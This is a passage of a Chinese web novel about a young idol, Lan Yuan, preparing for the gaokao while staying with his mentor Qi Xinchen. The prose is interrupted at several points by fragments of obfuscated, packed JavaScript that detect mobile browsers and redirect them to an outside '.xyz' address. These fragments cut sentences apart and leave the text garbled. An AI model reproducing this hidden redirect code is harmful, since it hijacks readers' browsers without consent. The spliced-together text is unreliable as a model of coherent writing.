RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437693|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' utterfly全队的多数工作时间都会在练习室度过。任务主要包括了商讨歌词、上舞蹈课,以及比较重要的,为了过几天的端午晚会做准备。 ——这还是他们出道之后的第一个团体舞台。 舞台的选曲已经早早被确定好了,学习的门槛不算高,是他们决赛夜的那首二十人抒情歌,每个人保留原有part的同时,将其他决赛圈练习生的part分一分。 当然,这首歌和端午并没有任何关系,如果硬要说的话,蓝鸢觉得那首歌背后承上启下、谱写新章的主题,更适合被推迟一周表演,作为毕业季晚会的舞台。 但节日晚会往往就是这样的活动——除了春节和元宵晚会大概还算得上需要切合主题,别的晚会本质上就是各类歌手……或者其实更多是演员的打歌平台。 既然是纯vocal曲,那就是自己的主场,蓝鸢如此想着。 虽说他现在舞蹈实力其实也练得不错,还能实现一些别人跳不了的高难度动作、比如三公时期捡的退赛哥留下来的连续空翻part,但这个身体的潜力高并不代表着当下的绝对水平是最高的……况且重要的是,dance break的高光也绝无可能分给他这个已经要承担主唱位高光的第二名。 只是让蓝鸢有点意外的是,在对这首决赛曲进行二次分part时,沈艾初居然主动开口,指着最出彩的那段说“我觉得这段小圆来比较好”——实际上蓝鸢确实想要那一段,只不过决赛夜的part是抽签分的,所以当时没机会争取。 但沈艾初说出这种话……他怎么都觉得不太对劲。 于是他看向沈艾初,这人的眼神里看起来并没有别的意思,就和蓝鸢每次有别的想法时会露出的神色如出一辙——不过送到眼前的机会不能不要,于是蓝鸢说着“我都可以,要不然给大家唱一句看看效果”,接着顺理成章地拿到了part。 ……又在几天后,顺理成章地在晚会上实现了很好的表现,还上了个热搜,涨了不少粉丝——到这时候为止,蓝鸢也没有明白沈艾初给他让part的用意,但也准备暂时不思考这件事了。 心思奇怪的队友太多了。 蓝鸢如此思考着,又在晚会那晚回宿舍后,收到了宁郁寒的消息,问他能不能来厨房说几句话。 45. 高考前夕1.0 实际上,蓝鸢看到这条消息的时候,是有过片刻的不解的。 不过不解的关键本质在于“为什么是厨房”,而不是“宁郁寒要说什么”——对于后一个问题,他其实心中是有答案的,毕竟前几天在车上时,他帮宁郁寒结束过一次这人不想提的话题,那总归应该得到“知道真相”这一报酬的。 蓝鸢对此事觉得理所当然。 毕竟,就算宁郁寒不主动说,他早晚也会去问的……主要是那天车上的表现实在是有点奇怪,蓝鸢担心如果在这种小事上缺乏好奇心,会造成一些更重要的信息的缺失。 只是最近的闲暇时间都忙于准备高考,所以很多悬而未决的事情都被暂时搁置了下来。 “怎么来这里说话,”如此想着,见到宁郁寒的第一瞬间,蓝鸢就笑着问道,“客厅这会也没有人呀,来到厨房感觉都有点想吃夜宵了。” “如果你想的话,过会我也可以做一点,”宁郁寒于是说,“虽然我不太会,但是可以现查网上的攻略。” “不用啦。”蓝鸢眨眨眼,然后摇头试探说,“我说完话就要上楼睡觉了,我最近都是尽量早睡早起的,早上起来趁着记性好背点生物化学的零散知识点,顺便适应一下高考作息。” “啊……小圆你好努力,”宁郁寒听到这段话,神色明显发生了细微的变化,“我手上还有几十页历史资料没有背……原来理科课程也需要背诵的吗?” “最基础的内容还是需要的——”蓝鸢偏了偏头,感觉宁郁寒不像在说假话,因此决定结束这个话题,“所以你找我有什么事情呀?还得来这里说。” “厨房离楼梯比较远,可以避免有人在楼上偷听,”宁郁寒于是说,接着在蓝鸢疑惑的神色里继续坦白道,“是这样的,你那天不是问我和任淮之间发生了什么事吗?” 其实我没有问过这句话,蓝鸢想……尽管那个问题的本意确实是问这件事就是了。 只不过宁郁寒如此一说,倒是也坐实了他和任淮之间确实发生了什么矛盾、而并非那天临时有什么小事。 虽说如此,但宁郁寒的下一句话出来的一瞬间,蓝鸢还是有些猝不及防。 “……其实是他硬要说我在和他的一个站姐谈恋爱,想借此把他的神图站姐抢走。”宁郁寒如此说道,“我不知道他在想什么,感觉这个人有被害妄想症。” “那你……”蓝鸢试探性发问。 “我当然没有。”宁郁寒很肯定地说,“你都知道我这几个月在做什么,我看上去像有时间谈恋爱吗?” 看上去当然不像,蓝鸢想,但是看上去和实际又不是一回事。 只是这后半句一出,让宁郁寒否认的前半句的可信度也直线下降了起来——不过他也不会直接怀疑宁郁寒在说谎,因为他觉得任淮的话也不可信。 “而且我也不喜欢女生,怎么可能和他的站姐谈恋爱呢。”而在蓝鸢犹豫思考的这几秒钟里,宁郁寒的下一句补充又重磅登场——如果不是蓝鸢嗅觉没出问题,他现在甚至有点怀疑宁郁寒是不是喝多了,怎么这种话能随口就对着队友说出来呢。 ……倒也不一定,他又想,毕竟祁心忱也是个能随口把这种话对着队友说的人,但至少不应该在这种语境下啊。 况且宁郁寒也不是真的不喜欢女生——至少在蓝鸢知道的那些嫂子里,女生也占了快一半的。 “为什么要对我说这个?”于是蓝鸢偏了偏头,用不解的语气说,“我看起来像不相信你、需要你如此澄清吗?” “我……我没有这个意思。”宁郁寒的语气成功因为这句温和的质问产生了片刻的慌乱,“——总之小圆你一定要相信我,可以吗?” “嗯。”蓝鸢点了点头,然后说,“我当然相信你。” * 在那天和宁郁寒的交谈之后,一切风平浪静了好几天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437694|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蓝鸢不太清楚那天不在车上的三个人有没有注意到这两人的新分歧,但总之,至少没有什么新事件发生。 Butterfly众人每天以一种貌合神离的状态,有条不紊地进行第一张ep的推进工作,蓝鸢也按部就班地抽出一切空闲时间进行他的高考复习。 不仅是他,看起来不靠谱的宁郁寒好像也认真了起来……不知道是受到他的影响、还是因为多少有些事到临头的担心。 但总之,日程繁忙而紧凑,蓝鸢甚至好几天没有联系祁心忱——当然,一方面是实在很忙,蓝鸢忙着自己的事,祁心忱忙着准备新歌;另一个原因是确实没有联系对方的借口,总不能莫名其妙开始汇报自己的排练和复习进度吧……那也显得自己太无趣了一点。 况且快到高考时间了,既然是一起买的票,加上对方答应过收留自己几天,那祁心忱总会主动找自己的……蓝鸢如此想着,最终是在6月5号接到了祁心忱的消息,约定第二天出发的时间和见面地点。 而时隔四个月,再次回到本应该很熟悉的城市,蓝鸢居然产生了一种莫名的陌生的感觉。 ……毕竟这座城市已经没有他的家了,虽然有团宿舍,但那也只是临时的住处,自己目前确实是居无定所的状态。他如此漫无目的地想着,又觉得自己好像确实挺可怜的,那祁心忱当时承认那句话也没有什么问题。 “怎么不说话呀?”而祁心忱的声音响起,打断了蓝鸢莫名其妙的伤春悲秋情绪,“走过来这段路太安静了,让我觉得有点慌。” 蓝鸢于是低头笑了起来。 目前快到午饭时间了,他这会跟在祁心忱身后,进入他们小区的正门——之前几次来的时候都是晚上,而且往往都是舒越明开车出来接他,这还是蓝鸢第一次白天从正门进来。 “我应该说什么?我想想,”笑完之后,蓝鸢开口说,“我好像有点紧张,毕竟明天就要高考了呢。” 46. 高考前夕2.0 事实上,说这话的时候,蓝鸢并不真的感觉紧张。 即使知道这时候应该紧张,尤其是他目前还没有复习特别完善、只抱着能拿一分算一分的心态,同时又知道这份成绩一定会在互联网上人尽皆知,蓝鸢也有点紧张不起来。 ——或许是因为在本该和同学一起上课的高三下,经历了些从高中生视角看来算得上轰轰烈烈的故事;又或许是因为身边没有别的同学作参照,只有一个看起来心态稳定的祁心忱,所以蓝鸢觉得自己也变得稳定了起来。 但祁心忱问了,他总得找个合理的回答。 比起“我在为了一些莫名其妙的事伤感”,考前紧张显然是一个更合理的答案。 “紧张是正常的,毕竟这是高考嘛,”而祁心忱并没有怀疑这个答案,于是蓝鸢听见他回答道,“我当年高考前比你现在看起来紧张多了,6号开始就已经吃不下饭了。” “……啊?” 这是个蓝鸢没有预料到的说辞,所以他发出了表示疑惑的单音节——虽说自己不应该怀疑祁心忱说假话,但这句话放在对方身上,总有点不容易让人相信。 如此想着的时候,前方一个身位的祁心忱很自然地停下步伐转过身,又偏着头问:“你这是什么意思呀,不会是想说我看起来不像是会因为高考紧张的人吧?” “啊,”蓝鸢愣了一下,脑子里飞速闪过各种念头,最终点点头实话实说,“不然呢……你看起来确实不像啊。” 而祁心忱听到这话,先是侧过头笑了一会,才又说:“你这样是不对的。” “什么不对?” “你似乎把我想得太厉害了。”祁心忱歪了歪头,又笑了起来,“小圆同学——看起来你到现在还对我有一些不切实际的认知。” 蓝鸢眨了眨眼。 不切实际吗……他在心中把这四个字重复了一遍。 他当然知道对方是什么意思——但无论是之前认识的回信背后的陌生哥哥、还是在参加节目过程中认识的作为导师的祁心忱,这人给自己留下的印象确实是非常稳定。 稳定的、温柔的、理性的、自由的、可以好好控制情绪波动、但也可以在想外放时随机攻击他人而保证自己不受影响的,厉害的前辈。 虽说“前辈”并不高人一等,但前辈总归是前辈的,蓝鸢一直以来都如是想。 但好像也不太对……他又想,祁心忱只比自己大四岁,又成长在一个没什么波折的环境下,哪有契机变成多成熟稳定的人呢? “真的吗,”他们重新开始往前走,于是蓝鸢说,“那你当时在紧张什么呢?” 这不是个好问题——说出口后,他就意识到了这一点。但他还没收回,祁心忱就开口了:“你知道我为什么会学美术吗?” 蓝鸢摇了摇头,又说:“不知道。” 他之前想起祁心忱房间里的简笔画和手工制品,以为自己大概知道原因,但对方如此问出来,蓝鸢又自然而然推翻了曾经的那些推测。 而祁心忱一时没有回答。 因为他这会在用指纹开大门,刚走进院子又倒退了回来:“等等再说那个——先给你录一个指纹。” 蓝鸢偏了偏头,用疑惑的目光看着他。 “给家里人说过了。”祁心忱开口说,又在屏幕上点了点,“你把手指放在这里就可以了。” “好。”蓝鸢垂了垂眼,依言照做,之后犹豫了一下,才又问,“为什么要我录指纹呀——你接下来几天会有不在家的时候吗?” “可以没有,”祁心忱说,又补上一句,“但是万一你以后还想来玩呢?到时候会方便一点的。” “我如果没考好的话,”这好像也不算是一个正面回答……蓝鸢如此想着,但也没有追问,只是一边完成指纹录入,一边笑了一声说,“可能以后就不敢进你家的家门了。” 当然,即使考得不错,如今的蓝鸢还是多少有点不太敢面对舒越明……不仅作为前班主任、重要的是作为暗恋对象家长的舒越明。 “不会的,”而祁心忱似乎没意识到这点,只摇了摇头说,“再怎么都不会比我差的,我自己都在这个家活得好好的呢。” 蓝鸢的动作停顿了片刻。 他终于后知后觉意识到了之前那个问题的可能回答。 祁心忱已经重新推开门,又帮他将小行李箱拉进院子里,接着才开口:“刚刚好像没来得及说,学美术是因为我需要考一个好一点的学校——非常庸俗的理由,虽然也喜欢,但总归没有什么热爱追求与梦想,不然也不会人生转向来做偶像了。” “啊。”蓝鸢愣愣地回应了一声,“原来是这样吗。” 蓝鸢自己也是艺术生,知道抱着纯粹的“考好学校”目的走上这条路的并不少,他身边同学里可能有一半都是如此。 实际上大多数人都没有到谈论追求的程度,虽然长辈们可能会将文化不好就学艺术定义为“逃避学业”,但蓝鸢更喜欢将其定义为“按部就班”— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437695|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —擅长文化课就学文化,擅长艺术就学艺术,一个人选择最擅长的道路而不是最喜欢的道路,在他看来就是一种按部就班的社会最优化。 但这份按部就班放到自由的祁心忱身上……实在有点太格格不入了。 “不过就算这样也差点考不上现在的学校呢,”没等蓝鸢做出更多的回答,祁心忱又继续说,“你知道下一代智商会有均值回归一说吗,我就是我们家被回归的那个,我们学校其实只要文化上一本线,但这对高三的我来说已经很费劲了……处在能考上和不能考上的边缘线,当然会紧张的。” 蓝鸢深吸了一口气。 他有点不知道说什么好了——其实上帝视角看这是很显然的事,父母都是名校博士、妹妹也是名校博士在读,处在这种家庭里,作为学习一般的那个人怎么看怎么都会有压力的……只是即使蓝鸢知道他们家的组成,也没有在祁心忱提到自己高考的那一刻想过这个方向。 或许是潜意识里觉得祁心忱不会有这样的想法……但这样觉得是不对的,蓝鸢想到刚刚对方的话,于是对自己说,祁心忱只是个普通的年轻人而已。 “好啦,听了这个有没有觉得没那么紧张了,”蓝鸢思考这会,祁心忱又说,“毕竟你肯定能去想去的学校的——别的其实也没那么重要,无论是舆论还是具体分数,下个月就不重要啦,实在不行到时候拉踩我也是可以的。” 蓝鸢低头笑了一声。 他其实已经快忘记“紧张”这个借口了——不过祁心忱那句话刚出时,他的心情更多是为了那个过去的对方沉重了片刻,但这份沉重又随着新一句话的产生消散开来,于是此刻倒也确实比之前更轻松了几分。 “其实我刚刚是没话找话瞎说的,我一直都没有很紧张,”蓝鸢又深呼吸,决定说实话,然后又问,“……我今晚住这里吗?” 刚刚一边说话一边不带脑子跟着祁心忱上楼,此刻脚步停止,蓝鸢才意识到祁心忱拉着自己的箱子,停在了那个熟悉的、门牌画了星星的房间门口。 “你之前不就是睡我房间的吗,我觉得熟悉的环境会合适一些,但你想换客房也可以,”祁心忱的语气很理所当然,“不紧张当然是更好的——对了,你顺便想想接下来两天半想吃什么,下午需要去采购一些新食材。” 以前是睡这个房间的——但当时不是你不在家吗? “……好,”蓝鸢如此想着,还是先回答了祁心忱的后一句话,才又眨了眨眼才问,“那你呢?” 47. 高考前夕3.0 “那我什么?”祁心忱听他这么说,歪了歪头反问道。 蓝鸢愣了愣……而后才反应过来,站在对方的视角上看,自己这句话确实问得有些没头没尾、指向不明。 “那你睡哪里呢?”蓝鸢垂了垂眼,一边从祁心忱手上接过箱子,将它提进房间内,一边重新提问,“既然我现在把你的房间占了。” “你说呢?”祁心忱笑了一声。 啊?我怎么知道。 这是蓝鸢没有预料到的一种回答,于是他先是觉得有些茫然,顿了顿接着问:“……我应该说什么?” 而祁心忱一听这话又开始笑,笑过之后才说:“你想说什么就说什么呀——刚刚那句不是反问的。” 蓝鸢眨了眨眼……接着才反应过来对方确实是字面意义的、让他来安排的意思。 “如果真要说,”这就是高考生的优待吗,蓝鸢在心中如此想着,缓慢地开口道,“让我晚上一个人待着的话……我可能会有点担心睡不着,或者明早闹钟失灵之类的。” “不是说不紧张吗?”祁心忱一听就问,“怎么会失眠的。” “可能晚上就紧张了,”蓝鸢眨了眨眼,不带有任何逻辑地睁眼说瞎话,“下午还要去看考场,谁知道见到很多考生之后会怎么想呢。” “倒也是,”祁心忱又笑——看起来像是显然知道蓝鸢在胡言乱语,但也顺着说下去一般,“那我陪着你好了,早上没醒的话我会叫你的。” “好呀。”蓝鸢得到了想要的答案,弯了弯眼,才又绕回去回答祁心忱的另一个问题,“这几天吃什么的话……这个无所谓,我都可以的,你看着买就行了。” “嗯,”祁心忱于是点点头,又将手机页面递给他说,“不过今天中午大概来不及做饭了,你可以看着选一下——这附近的话,搞不好你现在比我熟一些呢。” 蓝鸢又眨了眨眼。经过了短暂的几秒钟迷惑,才后知后觉回想起来……这里是他们学校附近这一事实。 放假在家的时候显然没必要出去吃饭,毕业四年的祁心忱确实大概率不如他了解周边的食物分布——他们学校是半寄宿制,蓝鸢是走读生。比起吃平平无奇的食堂,和大多数走读同学一样,他时常在学校附近的小吃街解决吃饭问题,自然对此比较熟悉。 “我看看。”他于是说着,从祁心忱手上接过手机,开始刻意回忆那几家这两年新开的、自己觉得还不错的店,抱着一种“独家推销”的心态挑挑拣拣了一会,才最终选了几个方案出来,“这几个我觉得都可以——你挑一家?” “还是你挑吧,”祁心忱垂眼看了看屏幕,没有伸手接过手机,只是歪着头看着他说,“考生的意见优先。” “你这是在给我制造紧张情绪,哥哥。”蓝鸢看着他,目不转睛地说,“不要提醒我快要考试了。” 祁心忱又低头笑了起来,带着一点点被蓝鸢解读出了“我故意的”这样含义的微妙神色,于是蓝鸢冲着他小声“喂”了一声,才戳了戳屏幕说:“我也不知道选哪家……要不就我之前和同学最经常去的这家干锅吧。” “好呀。”祁心忱听到这个回答,像是没多思考般点了点头,而后才接过手机低头看了一眼,“你可以先收拾一下,我们稍等就出发,估计吃完可以直接去学校看考场了。” “……啊?”意料之外的回答让蓝鸢猛地抬起头看向身边的人,“我们不是要点外卖吗?” “我们要点外卖吗?”祁心忱用一种明知故问的疑惑语气反问了一句。 “那你还把外卖的页面给我让我选。”蓝鸢看了他一眼说,接着才又问,“真出去吃吗?不会被人拍到吗?” “现在所有认识你的人都知道你接下来三天会在这里考试,”祁心忱歪了歪头,看着他笑,“你的考试流程即将被互联网直播了,也不差这一天了。” 被他这么一说,蓝鸢思考了一下那个场景,突然觉得有点……毛骨悚然了起来,于是一时间忘记了本来打算说的那句“其实你被拍到可能影响会大一点”,只发出了一声“啊”的单音节。 “所以没关系哦,”祁心忱继续说道,“做公众人物其实没有那么恐怖的,习惯各种目光和注视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437696|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后正常生活就好。” 蓝鸢看着他,顿了顿,最终点点头——实际上他觉得祁心忱这话也是给他自己说的,在两年前,仅仅作为男团而不是“做票产物”的Dreams其实并没有很高的人气,祁心忱也是最近半年才面临着人气疯狂上升的状况,大概近期困扰也受过不少。 * 但总之,说是“收拾”,但并没有什么好收拾的。 蓝鸢从包里拿出钥匙手机和证件,就同祁心忱一道出了门——踏出小区大门后不久,便又回到了熟悉的地方……或者说阔别半年的、熟悉中带着点陌生的地方。 “感觉好久没来学校这边逛过了,”只是他还没来得及说,先开口的反而是祁心忱,“变了好多,有点不认识了。” “和半年前都不太一样。”蓝鸢转了转脑袋环视了一圈,“好像所有店招牌都更新了一遍。” 今天的小吃街难得地不太热闹。 大概是因为这里的受众主要是附近的中学生,如今其他年级都放了高考假,高三生也有不少选择在临考前回家吃饭,于是店里没有平日里的拥挤,蓝鸢坐下时觉得安心了不少。 而祁心忱坐在他对面,从店员手动接过菜单,用手撑着脑袋,看都没看就将单子递给了蓝鸢:“点一个你平时最喜欢的?” 蓝鸢抬起头,从对方手中接过好像没怎么变化的菜单,突然有种很恍惚的感觉——这个位置他坐过很多次,和祁心忱一起走路、一起吃饭在选秀期间也是时常的事。 但这两种场景此刻合并到了一起,那种“这个人曾经与我走过相同的路、如今也确实存在于我的日常中”的实感才第一次强烈了几分——无论往后如何,至少此时此刻是这样的。 “……学长。”蓝鸢偏了偏头,在想点的菜前面画了个勾,又没来由地喊了一声。 祁心忱盯着他,眨了眨眼,过了两三秒,像是在思考,又像是后知后觉般反应过来这个没听过的称呼一般:“怎么了?” “……我觉得我好像还是有一点紧张的。”蓝鸢说,抬起头笑,“这次是真的。” 48. 高考前夕4.0 但无论如何,这顿饭吃得还是挺顺利的——干锅还是蓝鸢记忆中好吃的口味,两个人坐在角落里,全程几乎也没有被任何人打扰。 而之所以要说“几乎”,是因为两人虽然没遇上认识“作为偶像的蓝鸢和祁心忱”的路人,但遇上了蓝鸢之前的同学。 那同学看起来并不关注娱乐圈,大概是因为看到了蓝鸢,所以凑了过来,用一种不带恶意的、看热闹的、打探的语气不可置信地说着“小蓝你真的当明星去了呀”。 蓝鸢小声叹了口气,然后点点头。而祁心忱听到这话,就在对面忍不住笑了一声。 “你好你好,”自来熟的同学这才发现在场的第三个人,也对着祁心忱招了招手,又问蓝鸢,“这位是你圈子里的朋友吗?” 是你班主任的儿子,蓝鸢心说。不过,他最终还是决定做个好心人,不把这句话说出来吓对面了。 “我是小圆的哥哥,”而在蓝鸢思考别的措辞的过程中,祁心忱已然先一步开口,对此做出了他意料之外的回答,“你好呀。” “……哦哦,原来如此,”同学的目光在两人之间来回了一圈,而后露出恍然大悟的表情,“我就说,怪不得呢。” 这是在回答什么啊,又在“就说”什么啊,蓝鸢愣了愣,对这一整段对话感到不明所以。 但他欲言又止,最终还是点点头“嗯”了一声,默认了这个说法。 “那我就不打扰你们啦,我的菜好像也要上了,”同学打完招呼,又招招手说,“祝小蓝高考顺利呀。” “你也是,”蓝鸢于是也对他挥挥手说,“也祝你高考顺利。” 在此之后,对方转身走向另一边的空座。 等他稍走远后,蓝鸢才回过头,目光直直地盯着祁心忱,用眼神示意他说点什么。 “你都能这么喊,”祁心忱显然明白他的暗示,于是偏了偏头,用一种装出来的无辜语气说,“我不能这么说吗?” 蓝鸢闻言顿了顿,欲言又止——祁心忱这话说得太有道理了,他发现自己居然找不出任何反驳的回答。只是……你脱口而出“小圆的哥哥”的时候,心中又是抱着什么样的动机呢,他抬头看着对面的人,在心中如此问着无法开口的问题。 “……快吃点东西,不要聊天了,”而现实世界的蓝鸢只垂了垂眼,拒绝回答祁心忱的反问,而是用筷子戳戳端上来的菜,“已经快两点了,过会还有别的安排呢。” “嗯嗯。”祁心忱没有反驳,只点了点头,也举起了筷子。 * 除这个小插曲外,两人倒没有遇上更多的情况。 吃过饭后,他们在校门口分别,蓝鸢去找现在的班主任拿准考证、顺便去看自己的考场,而祁心忱则去进行一些采购计划。 运气不错的是,蓝鸢的考场就在他高二时候的教室,算得上“熟悉的环境”。对于一个快一年没参加过考试的人来说,这种环境总归会让人更有安全感一些。 “我当时运气也挺好,学校那会还是文科考场,我就在本班教室考,”而对此,祁心忱做出评论,“所以我直接把自己的桌子换到考位上去了。” “啊?”蓝鸢一听,从桌上的材料里抬起头,“居然还能这样?” “对呀,当时还有同学把自己的桌子搬到隔壁教室去的,”祁心忱笑,“这就是主场优势嘛。” “可惜,”蓝鸢一听,居然有一瞬间脑子里闪过了“遗憾没这么做”这样的想法,接着才想起来他已经一年没在学校上课了,估计连哪张桌子是自己的都认不出来了,于是又改口,“……好像也不是很可惜。” 祁心忱又笑了起来。 这会他们已经吃过了饭,各自坐在书房的不同桌子前。祁心忱家的书房被他改造成了他的小画室,此刻临时给蓝鸢收了一张空桌出来。 晚饭是祁心忱煮的面。蓝鸢在被问到要吃什么的时候回答了“不用太复杂”,但不知道是否是错觉,就算是看起来平平无奇的一碗面,似乎也比他自己做出来的好吃不少。 或许是一种天赋——在通过询问,得到“都是跟网上教程学的”这样的答案后,蓝鸢心想。 “不要一直闲聊。”祁心忱回答完他的问题,又带着一点点笑意说,“快好好复习。” “哎——”蓝鸢拉长音调应了一声,接着叹气道,“但是我感觉我完全看不进去了。” 蓝鸢这会在读的是学校发的语文突击材料,包括一些精简版的阅读题技巧、作文技巧及押题等,是他前几天从同学那里要过来的。 比起偶尔会练一下的理化生,他的三门主课几乎在一整年都处于放养状态——数学是蓝鸢唯一学得很好的科目,不用复习也能考好,至于语文和英语,他觉得这种需要积累的科目偶尔做套题也没用。 “看不进去,感觉有点晕字。”而此时此刻,不知道是不是中午那句“紧张”的回旋镖,蓝鸢盯着手上的突击材料,总觉得有些心不在焉,于是又小声重复了一遍,然后扭头望着祁心忱,“你在写什么呀。” “我觉得是因为字体太小了,但你可以意思意思看看,说不定可以打动高考之神,明天给你安排一些会做的题,”祁心忱将脑袋凑过来看了看,对此点评道,而后又说,“我在画巡演的概念策划稿呢。” “诶?你要开巡演了吗?”这是个让蓝鸢有点意外的答案,“你还会做概念策划呀,好厉害。” “那也没有啦,我只是提供一些想法,专业的事当然要给专业的人做,”祁心忱笑,接着又说,“现在还早呢,只是刚开始做打算,真正开始估计得年底了——到时候你来当演出嘉宾吗?” “可以吗?”话题突然被引向了邀请,蓝鸢眨了眨眼问,没等祁心忱开口,又自己做出了回答,“我要来。” ——说完这话,他才后知后觉意识到祁心忱在问什么、以及自己语气里的急切,于是又放慢语速,确认一遍:“我来合适吗?” “有什么不合适的,你来比谁都合适。”祁心忱如此说。他似乎还想再补一句什么,但还没说出来,这段对话便被响起的手机铃声打断了。 祁心忱的话语中断,蓝鸢顿了两秒,才反应过来响的是自己的手机。 他回过身拿手机,心想还有谁会给他打电话,接着就看到来电显示的是他们团经纪人的名字。 蓝鸢按下接听键,停顿片刻,又按下了免提键。 下一刻,对面的声音在书房响起,说的是蓝鸢始料未及的话。 “你今天和祁心忱待在一起,怎么没有和我们报备?” “啊?”蓝鸢眨了眨眼,感觉到了一点点被讯问的茫然,于是扭过头看了看祁心忱,在得到了一个大概是“你随便说”的眼神后,才回答对面,“我都已经请假了,假期见谁也需要报备吗?” 接收到蓝鸢的反问,对方似乎也卡壳了半秒钟,接着气势中自然而然少了点振振有词,变成了平铺直叙的“你们活动轨迹太招摇了,现在已经并排挂在热搜上了”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437697|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……那有什么问题吗?”蓝鸢说,接着看到祁心忱笑着对他摇了摇头——蓝鸢一时没反应过来这是“没问题”还是“别这么说”的意思,因此停下来,等待对面继续说。 “没有什么问题,”对面的声音传来,“但是放假要见谁、去哪里,这些以后其实都可以提前报备一下,也方便我们控制舆论——现在词条里发散出来了一些对你不是很友好的言论,可能是谁带的节奏,你知道吗?” “我不知道。”蓝鸢说,然后补充,“我明天要考试了,现在正在复习,暂时没有精力关注互联网上的消息。” ——听到这里,他已经差不多知道了对面的意思。 赛时和赛后的情况本就不同,像他和祁心忱的“赛期师生组”cp,选秀期间表面上是人人喊打的,大多数cp粉只能悄悄嗑,赛后却能被正大光明摆上台面。两人在现阶段并没有什么事业上的利益冲突,脱离开“夏令营”环境后,这对cp的存在反而有了价值。 于是很显然,对面的意思无非就是“下回提前说我们买点通稿炒一炒cp蹭一下现役顶流”,顺便暗示蓝鸢“是否有可能是祁心忱的团队在热搜里暗戳戳拉踩”——但对方大概说不准他和祁心忱到底有多熟,所以并没有把话挑明说。 只是祁心忱最近几个小时内都在他的视线范围内,从开车去学校接他到现在,这人连手机都没看几眼,估计同他一样连自己挂在热搜上都不知道,更不可能召唤谁去煽动舆论,蓝鸢想。 于是他又用充满诚意的语气敷衍了几句,然后就挂掉了电话。 不过挂掉之后,保险起见,蓝鸢还是问了一句:“说起来……这种热搜确实没什么影响吧?” “当然没有呀,”祁心忱说,语气很理所当然,即使他大概也不知道热搜上有什么,“这只是正常生活轨迹,又不是被拍到什么抽烟、去酒吧或者谈恋爱之类的黑料。” ……这是什么意思?为什么要突然提到“谈恋爱之类的黑料”这样的措辞呢……是在暗示什么吗? 蓝鸢如此想着,感觉自己心停跳了半秒钟。虽然理性觉得自己这时候不应该有什么反应,但还是扭过头看了祁心忱一眼—— 而后就听见祁心忱开始若无其事地、看似无知无觉地补了一句:“比如像我的某个前室友,我有天一觉醒来发现手机里传来了几十条不同人找我八卦的消息,原来是他带着我不知道的对象去夜店被挂在热搜第一了。” 蓝鸢心中松了口气,忍不住笑了出声,笑完调侃般补了一句:“辛苦你了。” “那倒是不辛苦,”祁心忱眨了眨眼,而后说出不能在外说的言论,“毕竟我和那位的cp当时挺有热度,所以我提纯到了不少cp粉——你以后也可以这样的。” 但其实我也不是一个完全合格的偶像,也经常会动“想谈恋爱”的心思……蓝鸢垂了垂眼,但这话是不能说出来的。于是他只是点了点头,说“如果真有机会的话,我会找哥哥取经的”。 祁心忱一听也笑了起来,接着讲了一会Dreams故事——人类总是有看乐子的天性的,蓝鸢自然也不例外,听着听着开始追问各种之前只能在热搜上看见的内幕,一开始片刻的失落、连带着更早的一点点对于明天的担忧都逐渐消散。 接着他又听见祁心忱歪着头问:“听了这些有感觉心情轻松一些了吗?” “嗯,”蓝鸢诧异了片刻,而后点了点头说,“感觉好多了——我觉得我又有动力看复习资料了。” 49. 高考1.0 蓝鸢最后还是读完了那些复习资料——看进去了多少、又能记住多少且不论,起码是在形式上看完了。 或许多多少少受到了祁心忱那句“打动高考之神”的感召。 看完资料时,时间已经过了十点。 蓝鸢洗漱完,套上干燥而带着某种花香味道的睡衣,坐在床边等早些时候已经收拾完的祁心忱给他吹头发。 